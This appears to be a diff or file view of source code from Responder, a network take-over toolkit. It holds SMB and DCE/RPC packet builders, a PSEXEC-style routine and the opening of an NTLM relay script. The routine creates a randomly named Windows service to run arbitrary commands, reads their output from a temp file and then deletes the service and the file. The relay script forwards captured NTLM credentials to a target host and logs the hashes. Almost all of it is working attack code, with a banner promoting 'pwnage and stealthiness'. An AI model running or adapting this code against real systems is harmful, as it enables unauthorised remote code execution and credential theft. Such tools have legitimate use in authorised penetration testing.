("CreateFlags", "\x16\x00\x00\x00"),
("RootFID", "\x00\x00\x00\x00"),
("AccessMask", "\x00\x00\x00\x02"),
("AllocSize", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("FileAttrib", "\x00\x00\x00\x00"),
("ShareAccess", "\x07\x00\x00\x00"),
("Disposition", "\x01\x00\x00\x00"),
("CreateOptions", "\x00\x00\x00\x00"),
("Impersonation", "\x02\x00\x00\x00"),
("SecurityFlags", "\x00"),
("Bcc", "\x08\x00"),
("FileName", "\\svcctl"),
("FileNameNull", "\x00"),
])
def calculate(self):
Data1= str(self.fields["FileName"])+str(self.fields["FileNameNull"])
self.fields["FileNameLen"] = struct.pack("<h",len(str(self.fields["FileName"])))
self.fields["Bcc"] = struct.pack("<h",len(Data1))
class SMBReadData(Packet):
fields = OrderedDict([
("Wordcount", "\x0a"),
("AndXCommand", "\xff"),
("Reserved", "\x00" ),
("Andxoffset", "\x00\x00"),
("FID", "\x00\x00"),
("Offset", "\x19\x03\x00\x00"),
("MaxCountLow", "\xed\x01"),
("MinCount", "\xed\x01"),
("Hidden", "\xff\xff\xff\xff"),
("Remaining", "\x00\x00"),
("Bcc", "\x00\x00"),
("Data", ""),
])
def calculate(self):
self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
class SMBWriteData(Packet):
fields = OrderedDict([
("Wordcount", "\x0e"),
("AndXCommand", "\xff"),
("Reserved", "\x00" ),
("Andxoffset", "\x00\x00"),
("FID", "\x06\x40"),
("Offset", "\xea\x03\x00\x00"),
("Reserved2", "\xff\xff\xff\xff"),
("WriteMode", "\x08\x00"),
("Remaining", "\xdc\x02"),
("DataLenHi", "\x00\x00"),
("DataLenLow", "\xdc\x02"),
("DataOffset", "\x3f\x00"),
("HiOffset", "\x00\x00\x00\x00"),
("Bcc", "\xdc\x02"),
("Data", ""),
])
def calculate(self):
self.fields["Remaining"] = struct.pack("<h",len(str(self.fields["Data"])))
self.fields["DataLenLow"] = struct.pack("<h",len(str(self.fields["Data"])))
self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
class SMBTransDCERPC(Packet):
fields = OrderedDict([
("Wordcount", "\x10"),
("TotalParamCount", "\x00\x00"),
("TotalDataCount", "\x00\x00" ),
("MaxParamCount", "\x00\x00"),
("MaxDataCount", "\x00\x04"),
("MaxSetupCount", "\x00"),
("Reserved", "\x00\x00"),
("Flags", "\x00"),
("Timeout", "\x00\x00\x00\x00"),
("Reserved1", "\x00\x00"),
("ParamCount", "\x00\x00"),
("ParamOffset", "\x00\x00"),
("DataCount", "\x00\x00"),
("DataOffset", "\x00\x00"),
("SetupCount", "\x02"),
("Reserved2", "\x00"),
("OpNum", "\x26\x00"),
("FID", "\x00\x00"),
("Bcc", "\x00\x00"),
("Terminator", "\x00"),
("PipeName", "\\PIPE\\"),
("PipeTerminator", "\x00\x00"),
("Data", ""),
])
def calculate(self):
#Padding
if len(str(self.fields["Data"]))%2==0:
self.fields["PipeTerminator"] = "\x00\x00\x00\x00"
else:
self.fields["PipeTerminator"] = "\x00\x00\x00"
##Convert Path to Unicode first before any Len calc.
self.fields["PipeName"] = self.fields["PipeName"].encode('utf-16le')
##Data Len
self.fields["TotalDataCount"] = struct.pack("<h", len(str(self.fields["Data"])))
self.fields["DataCount"] = struct.pack("<h", len(str(self.fields["Data"])))
##Packet len
FindRAPOffset = str(self.fields["Wordcount"])+str(self.fields["TotalParamCount"])+str(self.fields["TotalDataCount"])+str(self.fields["MaxParamCount"])+str(self.fields["MaxDataCount"])+str(self.fields["MaxSetupCount"])+str(self.fields["Reserved"])+str(self.fields["Flags"])+str(self.fields["Timeout"])+str(self.fields["Reserved1"])+str(self.fields["ParamCount"])+str(self.fields["ParamOffset"])+str(self.fields["DataCount"])+str(self.fields["DataOffset"])+str(self.fields["SetupCount"])+str(self.fields["Reserved2"])+str(self.fields["OpNum"])+str(self.fields["FID"])+str(self.fields["Bcc"])+str(self.fields["Terminator"])+str(self.fields["PipeName"])+str(self.fields["PipeTerminator"])
self.fields["ParamOffset"] = struct.pack("<h", len(FindRAPOffset)+32)
self.fields["DataOffset"] = struct.pack("<h", len(FindRAPOffset)+32)
##Bcc Buff Len
BccComplete = str(self.fields["Terminator"])+str(self.fields["PipeName"])+str(self.fields["PipeTerminator"])+str(self.fields["Data"])
self.fields["Bcc"] = struct.pack("<h", len(BccComplete))
class SMBDCEData(Packet):
fields = OrderedDict([
("Version", "\x05"),
("VersionLow", "\x00"),
("PacketType", "\x0b"),
("PacketFlag", "\x03"),
("DataRepresent", "\x10\x00\x00\x00"),
("FragLen", "\x2c\x02"),
("AuthLen", "\x00\x00"),
("CallID", "\x00\x00\x00\x00"),
("MaxTransFrag", "\xd0\x16"),
("MaxRecvFrag", "\xd0\x16"),
("GroupAssoc", "\x00\x00\x00\x00"),
("CTXNumber", "\x01"),
("CTXPadding", "\x00\x00\x00"),
("CTX0ContextID", "\x00\x00"),
("CTX0ItemNumber", "\x01\x00"),
("CTX0UID", "\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03"),
("CTX0UIDVersion", "\x02\x00"),
("CTX0UIDVersionlo","\x00\x00"),
("CTX0UIDSyntax", "\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00\x2b\x10\x48\x60"),
("CTX0UIDSyntaxVer","\x02\x00\x00\x00"),
])
def calculate(self):
Data1= str(self.fields["Version"])+str(self.fields["VersionLow"])+str(self.fields["PacketType"])+str(self.fields["PacketFlag"])+str(self.fields["DataRepresent"])+str(self.fields["FragLen"])+str(self.fields["AuthLen"])+str(self.fields["CallID"])+str(self.fields["MaxTransFrag"])+str(self.fields["MaxRecvFrag"])+str(self.fields["GroupAssoc"])+str(self.fields["CTXNumber"])+str(self.fields["CTXPadding"])+str(self.fields["CTX0ContextID"])+str(self.fields["CTX0ItemNumber"])+str(self.fields["CTX0UID"])+str(self.fields["CTX0UIDVersion"])+str(self.fields["CTX0UIDVersionlo"])+str(self.fields["CTX0UIDSyntax"])+str(self.fields["CTX0UIDSyntaxVer"])
self.fields["FragLen"] = struct.pack("<h",len(Data1))
class SMBDCEPacketData(Packet):
fields = OrderedDict([
("Version", "\x05"),
("VersionLow", "\x00"),
("PacketType", "\x00"),
("PacketFlag", "\x03"),
("DataRepresent", "\x10\x00\x00\x00"),
("FragLen", "\x00\x00"),
("AuthLen", "\x00\x00"),
("CallID", "\x00\x00\x00\x00"),
("AllocHint", "\x00\x00\x00\x00"),
("ContextID", "\x00\x00"),
("Opnum", "\x0f\x00"),
("Data", ""),
])
def calculate(self):
Data1= str(self.fields["Version"])+str(self.fields["VersionLow"])+str(self.fields["PacketType"])+str(self.fields["PacketFlag"])+str(self.fields["DataRepresent"])+str(self.fields["FragLen"])+str(self.fields["AuthLen"])+str(self.fields["CallID"])+str(self.fields["AllocHint"])+str(self.fields["ContextID"])+str(self.fields["Opnum"])+str(self.fields["Data"])
self.fields["FragLen"] = struct.pack("<h",len(Data1))
self.fields["AllocHint"] = struct.pack("<i",len(str(self.fields["Data"])))
class SMBDCESVCCTLOpenManagerW(Packet):
fields = OrderedDict([
("MachineNameRefID", "\xb5\x97\xb9\xbc"),
("MaxCount", "\x0f\x00\x00\x00"),
("Offset", "\x00\x00\x00\x00"),
("ActualCount", "\x0f\x00\x00\x00"),
("MachineName", ""),
("MachineNameNull", "\x00\x00"),
("DbPointer", "\x00\x00\x00\x00"),
("AccessMask", "\x3f\x00\x0f\x00"),
])
def calculate(self):
## Convert to UTF-16LE
self.fields["MaxCount"] = struct.pack("<i",len(str(self.fields["MachineName"]))+1)
self.fields["ActualCount"] = struct.pack("<i",len(str(self.fields["MachineName"]))+1)
self.fields["MachineName"] = self.fields["MachineName"].encode('utf-16le')
class SMBDCESVCCTLCreateService(Packet):
fields = OrderedDict([
("ContextHandle", ""),
("MaxCount", "\x0c\x00\x00\x00"),
("Offset", "\x00\x00\x00\x00"),
("ActualCount", "\x0c\x00\x00\x00"),
("ServiceName", "AyAGaxwLhCP"),
("MachineNameNull", "\x00\x00"),
("ReferentID", "\x00\x00\x02\x00"),
("MaxCountRefID", "\x11\x00\x00\x00"),
("OffsetID", "\x00\x00\x00\x00"),
("ActualCountRefID", "\x11\x00\x00\x00"),
("DisplayNameID", "DhhUFcsvrfJvLwRq"),
("DisplayNameIDNull", "\x00\x00\x00\x00"),
("AccessMask", "\xff\x01\x0f\x00"),
("ServerType", "\x10\x01\x00\x00"),
("ServiceStartType", "\x03\x00\x00\x00"),
("ServiceErrorCtl", "\x00\x00\x00\x00"),
("BinPathMaxCount", "\xb6\x00\x00\x00"),
("BinPathOffset", "\x00\x00\x00\x00"),
("BinPathActualCount", "\xb6\x00\x00\x00"),
("FileName", ""),
("BinPathName", ""),
("BinCMD", ""),
("BintoEnd", ""),
("BinCMDTerminator", "\x00\x00"),
("LoadOrderGroup", "\x00\x00\x00\x00"),
("TagID", "\x00\x00\x00\x00"),
("Dependencies", "\x00\x00\x00\x00"),
("DependenciesLen", "\x00\x00\x00\x00"),
("ServiceStartName", "\x00\x00\x00\x00"),
("Password", "\x00\x00\x00\x00"),
("PasswordLen", "\x00\x00\x00\x00"),
("Padding", "\x00\x00"),
])
def calculate(self):
self.fields["BinCMD"] = self.fields["BinCMD"].replace("&", "^&")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace("(", "^(")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace(")", "^)")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace("%", "^%")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace(">", "^>")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace(">", "^>")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace("|", "^|")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace(",", "^,")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace("$", "^$")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace("!", "^!")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace(",", "^,")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace("'", "^'")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace("\"", "^\"")#Filtering
File = "%WINDIR%\\Temp\\"+self.fields["FileName"]
WinTmpPath = "%WINDIR%\\Temp\\Results.txt"
FinalCMD = "del /F /Q "+File+"^&"+self.fields["BinCMD"]+" ^>"+WinTmpPath+" >"+File
#That is: echo cmd into random .bat file, run .bat file, delete the bat file (it's loaded in memory).
self.fields["FileName"] = ""#Reset it.
self.fields["BinPathName"] = "%COMSPEC% /C echo "#make sure to escape "&" when using echo.
self.fields["BinCMD"] = FinalCMD
self.fields["BintoEnd"] = "& %COMSPEC% /C "+File+" &exit"#make sure to exit when done.
BinDataLen = str(self.fields["BinPathName"])+str(self.fields["BinCMD"])+str(self.fields["BintoEnd"])
## Calculate first
self.fields["BinPathMaxCount"] = struct.pack("<i",len(BinDataLen)+1)
self.fields["BinPathActualCount"] = struct.pack("<i",len(BinDataLen)+1)
self.fields["MaxCount"] = struct.pack("<i",len(str(self.fields["ServiceName"]))+1)
self.fields["ActualCount"] = struct.pack("<i",len(str(self.fields["ServiceName"]))+1)
self.fields["MaxCountRefID"] = struct.pack("<i",len(str(self.fields["DisplayNameID"]))+1)
self.fields["ActualCountRefID"] = struct.pack("<i",len(str(self.fields["DisplayNameID"]))+1)
## Then convert to UTF-16LE, yeah it's weird..
self.fields["ServiceName"] = self.fields["ServiceName"].encode('utf-16le')
self.fields["DisplayNameID"] = self.fields["DisplayNameID"].encode('utf-16le')
self.fields["BinPathName"] = self.fields["BinPathName"].encode('utf-16le')
self.fields["BinCMD"] = self.fields["BinCMD"].encode('utf-16le')
self.fields["BintoEnd"] = self.fields["BintoEnd"].encode('utf-16le')
class SMBDCESVCCTLOpenService(Packet):
fields = OrderedDict([
("ContextHandle", ""),
("MaxCount", "\x00\x00\x00\x00"),
("Offset", "\x00\x00\x00\x00"),
("ActualCount", "\x00\x00\x00\x00"),
("ServiceName", ""),
("MachineNameNull", "\x00\x00"),
("AccessMask", "\xff\x01\x0f\x00"),
])
def calculate(self):
## Calculate first
self.fields["MaxCount"] = struct.pack("<i",len(str(self.fields["ServiceName"]))+1)
self.fields["ActualCount"] = struct.pack("<i",len(str(self.fields["ServiceName"]))+1)
## Then convert to UTF-16LE, yeah it's weird..
self.fields["ServiceName"] = self.fields["ServiceName"].encode('utf-16le')
class SMBDCESVCCTLStartService(Packet):
fields = OrderedDict([
("ContextHandle", ""),
("MaxCount", "\x00\x00\x00\x00\x00\x00\x00\x00"),
])
class SMBDCESVCCTLDeleteService(Packet):
fields = OrderedDict([
("ContextHandle", ""),
])
class SMBDCESVCCTLCloseService(Packet):
fields = OrderedDict([
("ContextHandle", ""),
])
class OpenAndX(Packet):
fields = OrderedDict([
("Wordcount", "\x0f"),
("AndXCommand", "\xff"),
("Reserved", "\x00" ),
("Andxoffset", "\x00\x00"),
("Flags", "\x07\x00"),
("DesiredAccess", "\xc2\x00"),
("SearchAttrib", "\x16\x00"),
("FileAttrib", "\x20\x00"),
("Created", "\x40\x9d\xc1\x57"),
("OpenFunc", "\x12\x00"),
("allocsize", "\x00\x00\x00\x00"),
("Timeout", "\x00\x00\x00\x00"),
("Reserved2", "\x00\x00\x00\x00"),
("Bcc", "\x0b\x00"),
("Terminator", ""),
("File", "\\"),
("FileNull", "\x00"),
])
def calculate(self):
self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Terminator"])+str(self.fields["File"])+str(self.fields["FileNull"])))
class ReadRequest(Packet):
fields = OrderedDict([
("Wordcount", "\x05"),
("FID", "\x02\x40"),
("Count", "\xf0\xff"),
("Offset", "\x00\x00\x00\x00"),
("RemainingBytes", "\xf0\xff"),
("Bcc", "\x00\x00"),
])
class ReadRequestAndX(Packet):
fields = OrderedDict([
("Wordcount", "\x0C"),
("AndXCommand", "\xff"),
("Reserved", "\x00"),
("AndXOffset", "\xde\xde"),
("FID", "\x02\x40"),
("Offset", "\x00\x00\x00\x00"),
("MaxCountLow", "\xf0\xff"),
("MinCount", "\xf0\xff"),
("Timeout", "\xff\xff\xff\xff"),
("RemainingBytes", "\xf0\xff"),
("HighOffset", "\x00\x00\x00\x00"),
("Bcc", "\x00\x00"),
])
class CloseRequest(Packet):
fields = OrderedDict([
("Wordcount", "\x03"),
("FID", "\x00\x00"),
("LastWrite", "\xff\xff\xff\xff"),
("Bcc", "\x00\x00"),
])
class DeleteFileRequest(Packet):
fields = OrderedDict([
("Wordcount", "\x01"),
("SearchAttributes", "\x06\x00"),
("Bcc", "\x1b\x00"),
("BuffType", "\x04"),
("File", ""),
("FileNull", "\x00\x00"),
])
def calculate(self):
self.fields["File"] = self.fields["File"].encode('utf-16le')
self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["BuffType"])+str(self.fields["File"])+str(self.fields["FileNull"])))
class SMBEcho(Packet):
fields = OrderedDict([
("Wordcount", "\x01"),
("EchoCount", "\x01\x00"),
("Bcc", "\x1b\x00"),
("File", "LWO CW VLO DEO MAW LMW ARW"),#nt4 style.
("FileNull", "\x00"),
])
###########################PSEXEC#############################################
def ExtractCommandOutput(data):
DataLen = struct.unpack("<H", data[61:63])[0]
Output = data[63:63+DataLen]
return Output
def SMBReadRecv(s):
Completedata=[]
data=''
Start=time.time()
s.setblocking(0)
while 1:
if Completedata and time.time()-Start > 0.5:#Timeout
break
try:
data = s.recv(1024)
if data:
Completedata.append(data)
Start=time.time()
else:
break
except:
pass
s.setblocking(1)
return s, ''.join(Completedata)
def RunCmd(data, s, clientIP, Username, Domain, Command, Logs, Host):
if data == None:
return False
head = SMBHeader(cmd="\xa2",flag1="\x18", flag2="\x02\x28",mid="\x05\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
t = SMBNTCreateData()
t.calculate()
packet0 = str(head)+str(t)
buffer1 = longueur(packet0)+packet0
s.send(buffer1)
data = s.recv(2048)
## Fail Handling.
if data[8:10] == "\xa2\x22":
print "[+] NT_CREATE denied. SMB Signing mandatory or this user has no privileges on this workstation.\n"
return False
## DCE/RPC Write.
if data[8:10] == "\xa2\x00":
head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x06\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
x = SMBDCEData()
x.calculate()
f = data[42:44]
t = SMBWriteData(FID=f,Data=x)
t.calculate()
packet0 = str(head)+str(t)
buffer1 = longueur(packet0)+packet0
s.send(buffer1)
data = s.recv(2048)
## DCE/RPC Read.
if data[8:10] == "\x2f\x00":
head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x07\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
t = SMBReadData(FID=f,MaxCountLow="\x00\x04", MinCount="\x00\x04",Offset="\x00\x00\x00\x00")
t.calculate()
packet0 = str(head)+str(t)
buffer1 = longueur(packet0)+packet0
s.send(buffer1)
data = s.recv(2048)
## DCE/RPC SVCCTLOpenManagerW.
if data[8:10] == "\x2e\x00":
head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x08\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
w = SMBDCESVCCTLOpenManagerW(MachineNameRefID="\x00\x00\x02\x00", MachineName=Host[0])
w.calculate()
x = SMBDCEPacketData(Data=w)
x.calculate()
t = SMBTransDCERPC(FID=f,Data=x)
t.calculate()
packet0 = str(head)+str(t)
buffer1 = longueur(packet0)+packet0
s.send(buffer1)
data = s.recv(2048)
##Error handling.
if data[8:10] == "\x2e\x00":
if data[len(data)-4:] == "\x05\x00\x00\x00":
print "[+] Failed to open SVCCTL Service Manager, is that user a local admin on this host?\n"
return False
## DCE/RPC Create Service.
if data[8:10] == "\x25\x00":
ContextHandler = data[84:104]
ServiceNameChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(11)])
ServiceIDChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(16)])
FileChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(6)])+'.bat'
FilePath = FileChars
head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x09\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
w = SMBDCESVCCTLCreateService(ContextHandle=ContextHandler, ServiceName=ServiceNameChars,DisplayNameID=ServiceIDChars, FileName=FilePath,BinCMD=Command)
w.calculate()
x = SMBDCEPacketData(Opnum="\x0c\x00",Data=w)
x.calculate()
t = SMBTransDCERPC(FID=f,Data=x)
t.calculate()
packet0 = str(head)+str(t)
buffer1 = longueur(packet0)+packet0
s.send(buffer1)
data = s.recv(2048)
#print "[+] Creating service"
## DCE/RPC SVCCTLOpenService.
if data[8:10] == "\x25\x00":
if data[len(data)-4:] == "\x05\x00\x00\x00":
print "[+] Failed to create the service\n"
return False
#print "[+] Service name: %s with display name: %s successfully created"%(ServiceNameChars, ServiceIDChars)
head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0a\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
w = SMBDCESVCCTLOpenService(ContextHandle=ContextHandler,ServiceName=ServiceNameChars)
w.calculate()
x = SMBDCEPacketData(Opnum="\x10\x00",Data=w)
x.calculate()
t = SMBTransDCERPC(FID=f,Data=x)
t.calculate()
packet0 = str(head)+str(t)
buffer1 = longueur(packet0)+packet0
s.send(buffer1)
data = s.recv(2048)
## DCE/RPC SVCCTLStartService.
if data[8:10] == "\x25\x00":
if data[len(data)-4:] == "\x05\x00\x00\x00":
print "[+] Failed to open the service.\n"
return False
ContextHandler = data[84:104]
head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
w = SMBDCESVCCTLStartService(ContextHandle=ContextHandler)
x = SMBDCEPacketData(Opnum="\x13\x00",Data=w)
x.calculate()
t = SMBTransDCERPC(FID=f,Data=x)
t.calculate()
packet0 = str(head)+str(t)
buffer1 = longueur(packet0)+packet0
s.send(buffer1)
data = s.recv(2048)
## DCE/RPC SVCCTLDeleteService.
if data[8:10] == "\x25\x00":
if data[len(data)-4:] == "\x05\x00\x00\x00":
print "[+] Failed to start the service.\n"
return False
head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
w = SMBDCESVCCTLDeleteService(ContextHandle=ContextHandler)
x = SMBDCEPacketData(Opnum="\x02\x00",Data=w)
x.calculate()
t = SMBTransDCERPC(FID=f,Data=x)
t.calculate()
packet0 = str(head)+str(t)
buffer1 = longueur(packet0)+packet0
s.send(buffer1)
data = s.recv(2048)
## DCE/RPC SVCCTLCloseService
if data[8:10] == "\x25\x00":
if data[len(data)-4:] == "\x05\x00\x00\x00":
print "[+] Failed to delete the service.\n"
return False
head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
w = SMBDCESVCCTLCloseService(ContextHandle=ContextHandler)
x = SMBDCEPacketData(Opnum="\x00\x00",Data=w)
x.calculate()
t = SMBTransDCERPC(FID=f,Data=x)
t.calculate()
packet0 = str(head)+str(t)
buffer1 = longueur(packet0)+packet0
s.send(buffer1)
data = s.recv(2048)
##Close FID Request
if data[8:10] == "\x25\x00":
head = SMBHeader(cmd="\x04",flag1="\x18", flag2="\x00\x10",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x11\x00")
t = CloseRequest(FID = f)
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
s.send(buffer1)
data = s.recv(2048)
##Tree connect c$
if data[8:10] == "\x04\x00":
if data[len(data)-4:] == "\x05\x00\x00\x00":
print "[+] Failed to start the service.\n"
return False
#print "[+] Command executed, grabbing output now."
Logs.info('Command executed:')
Logs.info(clientIP+","+Username+','+Command)
#print "[+] Removing service.\n[+] Cleaning up output file.\n"
head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x10\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
t = SMBTreeConnectData(Path="\\\\"+Host[0]+"\\C$")
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
s.send(buffer1)
data = s.recv(2048)
##OpenAndX.
if data[8:10] == "\x75\x00":
head = SMBHeader(cmd="\x2d",flag1="\x10", flag2="\x00\x10",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x11\x00")
t = OpenAndX(File="\\Windows\\Temp\\Results.txt", OpenFunc="\x01\x00")
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
s.send(buffer1)
data = s.recv(2048)
##OpenAndX.
if data[8:10] == "\x2d\x34":
time.sleep(1)#not found, maybe still processing the cmd. Wait a bit.
head = SMBHeader(cmd="\x2d",flag1="\x10", flag2="\x00\x10",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x11\x00")
t = OpenAndX(File="\\Windows\\Temp\\Results.txt", OpenFunc="\x01\x00")
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
s.send(buffer1)
data = s.recv(2048)
##OpenAndX.
if data[8:10] == "\x2d\x34":
time.sleep(1)#not found, command failed.
print "[+] The command failed."
return data
##ReadRequest.
## Need grab the size from Open And X and do it properly later. For now, only 65535 bytes printed.
if data[8:10] == "\x2d\x00":
ReturnedFID = data[41:43]
head = SMBHeader(cmd="\x2e",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x12\x00")
t = ReadRequestAndX(FID=ReturnedFID)
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
s.send(buffer1)
s, data = SMBReadRecv(s)
#print "[+] Output:\n"
print ExtractCommandOutput(data)
##Close Request
if data[8:10] == "\x2e\x00":
head = SMBHeader(cmd="\x04",flag1="\x18", flag2="\x00\x10",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x11\x00")
t = CloseRequest(FID = ReturnedFID)
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
s.send(buffer1)
data = s.recv(2048)
##DeleteFileRequest.
if data[8:10] == "\x04\x00":
head = SMBHeader(cmd="\x06",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x13\x00")
t = DeleteFileRequest(File="\\Windows\\Temp\\Results.txt")
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
#print "[+] Deleting file now."
s.send(buffer1)
data = s.recv(2048)
if data[8:10] == "\x06\x00":
#print "[+] File deleted, making sure it's not there anymore.."
head = SMBHeader(cmd="\x2d",flag1="\x10", flag2="\x00\x10",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x11\x00")
t = OpenAndX(File="\\Windows\\Temp\\Results.txt", OpenFunc="\x01\x00")
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
s.send(buffer1)
data = s.recv(2048)
return data

View File

@@ -0,0 +1,387 @@
#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import sys, re, os, logging, warnings, thread, optparse, time
from HTTPRelayPacket import *
from Finger import RunFinger
sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), '../../')))
from socket import *
__version__ = "0.5"
def UserCallBack(op, value, dmy, parser):
args=[]
for arg in parser.rargs:
if arg[0] != "-":
args.append(arg)
if getattr(parser.values, op.dest):
args.extend(getattr(parser.values, op.dest))
setattr(parser.values, op.dest, args)
parser = optparse.OptionParser(usage="python %prog -t10.20.30.40 -u Administrator lgandx admin", version=__version__, prog=sys.argv[0])
parser.add_option('-t',action="store", help="Target server for SMB relay.",metavar="10.20.30.45",dest="TARGET")
parser.add_option('-u', '--UserToRelay', action="callback", callback=UserCallBack, dest="UserToRelay")
options, args = parser.parse_args()
if options.TARGET is None:
print "\n-t Mandatory option is missing, please provide a target.\n"
parser.print_help()
exit(-1)
if options.UserToRelay is None:
print "\n-u Mandatory option is missing, please provide a username to relay.\n"
parser.print_help()
exit(-1)
UserToRelay = options.UserToRelay
Host = options.TARGET, 445
Cmd = ""
def ShowWelcome():
print '\n\033[1;34mResponder Proxy Auth to SMB NTLMv1/2 Relay 0.2\nSupporting NTLMv1 and NTLMv2.'
print 'Send bugs/hugs/comments to: laurent.gaffie@gmail.com'
print 'Usernames to relay (-u) are case sensitive.'
print 'To kill this script hit CRTL-C.\033[1;31m\n'
print 'Use this script in combination with Responder.py for best results.'
print 'Do not to use Responder.py with -P set. This tool does the same'
print 'than -P but with cross-protocol NTLM relay. Always target a box '
print 'joined to the target domain,not the PDC as SMB signing is enabled '
print 'by default. For optimal pwnage and stealthiness, launch Responder '
print 'with these 2 options only: -rv \033[0m'
print '\n\033[1;34mRelaying credentials only for these users:\033[32m'
print UserToRelay
print '\033[0m\n'
ShowWelcome()
Logs_Path = os.path.abspath(os.path.join(os.path.dirname(__file__)))+"/../../"
Logs = logging
Logs.basicConfig(filemode="a",filename=Logs_Path+'logs/SMBRelay-Session.txt',level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p')
try:
RunFinger(Host[0])
except:
print "The host %s seems to be down or port 445 down."%(Host[0])
sys.exit(1)
# Function used to write captured hashs to a file.
def WriteData(outfile, data, user):
if not os.path.isfile(outfile):
with open(outfile,"w") as outf:
outf.write(data + '\n')
return
with open(outfile,"r") as filestr:
if re.search(user.encode('hex'), filestr.read().encode('hex')):
return False
elif re.search(re.escape("$"), user):
return False
with open(outfile,"a") as outf2:
outf2.write(data + '\n')
#Function used to verify if a previous auth attempt was made.
def ReadData(Outfile, Client, User, Domain, Target, cmd):
try:
with open(Logs_Path+"logs/"+Outfile,"r") as filestr:
Login = Client+":"+User+":"+Domain+":"+Target+":Logon Failure"
if re.search(Login.encode('hex'), filestr.read().encode('hex')):
print "[+] User %s\\%s previous login attempt returned logon_failure. Not forwarding anymore to prevent account lockout\n"%(Domain,User)
return True
else:
return False
except:
raise
def ParseHTTPHash(data, key, client):
LMhashLen = struct.unpack('<H',data[12:14])[0]
LMhashOffset = struct.unpack('<H',data[16:18])[0]
LMHash = data[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
NthashLen = struct.unpack('<H',data[20:22])[0]
NthashOffset = struct.unpack('<H',data[24:26])[0]
NTHash = data[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
UserLen = struct.unpack('<H',data[36:38])[0]
UserOffset = struct.unpack('<H',data[40:42])[0]
User = data[UserOffset:UserOffset+UserLen].replace('\x00','')
if NthashLen == 24:
HostNameLen = struct.unpack('<H',data[46:48])[0]
HostNameOffset = struct.unpack('<H',data[48:50])[0]
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
WriteHash = '%s::%s:%s:%s:%s' % (User, HostName, LMHash, NTHash, key.encode("hex"))
